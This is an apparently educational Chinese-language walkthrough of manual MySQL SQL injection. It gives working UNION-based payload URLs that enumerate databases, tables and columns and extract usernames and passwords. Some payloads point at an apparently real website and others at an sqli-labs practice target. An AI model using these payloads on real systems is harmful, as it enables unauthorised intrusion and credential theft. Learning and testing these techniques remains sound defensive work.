mysql注入流程:
- 判断注入点;
- 判断注入类型;
- 猜测列名数量(字段数)当前表有多少列;
- 报错猜解准备;
- 信息收集;
- 查询指定数据库名下的表名信息;
- 查询指定表名下的列名信息;
- 查询指定数据
判断注入点
老办法:http://www.gardencn.com/page.php?id=2 and 1=1 正常 http://www.gardencn.com/page.php?id=2 and 1=2 错误
新办法: http://www.gardencn.com/page.php?id=dfskahgljksh(id后的值随便写) 页面有变 化,初步判断存在注入点
判断注入类型
数字型
http://www.gardencn.com/page.php?id=2' 加单引号
对应的sql:select * from table where id=2' ,sql语句出错抛出异常
http://www.gardencn.com/page.php?id=2 and 1=1
对应的sql:select * from table where id=2 and 1=1 ,sql语句正常执行,页面显示正常
http://www.gardencn.com/page.php?id=2 and 1=2
对应的sql:select * from table where id=2 and 1=2,sql语句正常执行,但无法查询出结果,页面显示异常
判断为数字型注入
字符型
单引号
http://www.gardencn.com/page.php?id=2' 加单引号
对应的sql:select * from table where id='2'' ,sql语句出错,页面报错
http://www.gardencn.com/page.php?id=2' and '1'='1
对应的sql:select * from table where id='2' and '1'='1' ,sql语句正常执行,页面显示正常
http://www.gardencn.com/page.php?id=2' and '1'='2
对应的sql:select * from table where id='2' and '1'='2',sql语句正常执行,但无法查询出结果,页面显示异常
判断为单引号字符型注入
双引号
http://www.gardencn.com/page.php?id=2' 加单引号
对应的sql:select * from table where id="2'" ,sql语句出错,页面报错
http://www.gardencn.com/page.php?id=2" and "1"="1
对应的sql:select * from table where id="2" and "1"="1" ,sql语句正常执行,页面显示正常
http://www.gardencn.com/page.php?id=2" and "1"="2
对应的sql:select * from table where id="2" and "1"="2",sql语句正常执行,但无法查询出结果,页面显示异常
判断为双引号字符型漏洞
判断当前表中字段数(order by)
order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
select * from user order by 1;
判断数据显示位置(利用union select)
http://www.gardencn.com/page.php?id=2' union select 1,2,3--+
select后面数字根据order by得到的字段数确定
注意:我们构建union select语句时,当前面的查询语句为假,也就是数据不存在时,union select之后查询出的结果就会显示在页面中。这里我们可以通过在前面查询语句中添加 and 1=2 使语句变假,也可以直接将id传入一个负数,来使语句变假。
信息收集
数据库名:database();
数据库用户:user();
操作系统版本:@@version_compile_os;
数据库版本:version();
数据库路径:@@datadir;
找到数据显示位置,将sql语句写入显示位
加入显示位为2,3
URL书写方式
http://www.gardencn.com/page.php?id=-2 union select 1,database(),version();
通过指定数据库名得到库中表名
http://www.gardencn.com/page.php?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
通过指定表名得到表中列名
http://sqli.com/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
得到数据
http://sqli.com/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+